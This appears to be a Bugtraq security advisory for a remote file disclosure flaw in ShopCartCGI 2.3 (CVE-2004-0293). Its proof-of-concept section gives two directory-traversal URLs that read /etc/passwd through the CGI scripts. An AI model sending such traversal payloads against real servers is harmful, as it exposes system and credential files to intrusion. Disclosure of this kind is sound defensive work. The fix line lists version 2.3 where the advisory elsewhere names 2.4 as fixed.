ShopCartCGI Remote File Disclosure Vulnerability

BID:9670

Info

ShopCartCGI Remote File Disclosure Vulnerability

Bugtraq ID: 9670
Class: Input Validation Error
CVE: CVE-2004-0293
Remote: Yes
Local: No
Published: Feb 16 2004 12:00AM
Updated: Jul 12 2009 03:06AM
Credit: Disclosure of this issue is credited to G00db0y.
Vulnerable: Voice Of Web AllMyVisitors 0.4
Voice Of Web AllMyVisitors 0.3
ShopCartCGI ShopCartCGI 2.3
Not Vulnerable: ShopCartCGI ShopCartCGI 2.4

Discussion

ShopCartCGI Remote File Disclosure Vulnerability

It has been reported that ShopcartCGI is prone to a remote file disclosure vulnerability. This issue is due to insufficient validation of user-supplied input.

Upon successful exploitation of this issue an attacker may be able to gain access to sensitive system files, potentially facilitating further attacks.

Exploit / POC

ShopCartCGI Remote File Disclosure Vulnerability

No exploit is required to leverage this issue. The following proof of concept has been provided:

http://www.example.com/directory/gotopage.cgi?13686+/../../../../../../../../../../../../../../../../etc/passwd

http://www.example.com/directory/genindexpage.cgi?13687+Home+/../../../../../../../../../../../../../../../../etc/passwd

Solution / Fix

ShopCartCGI Remote File Disclosure Vulnerability

Solution:
The vendor has released an update to address this issue:


ShopCartCGI ShopCartCGI 2.3

References

ShopCartCGI Remote File Disclosure Vulnerability

References:
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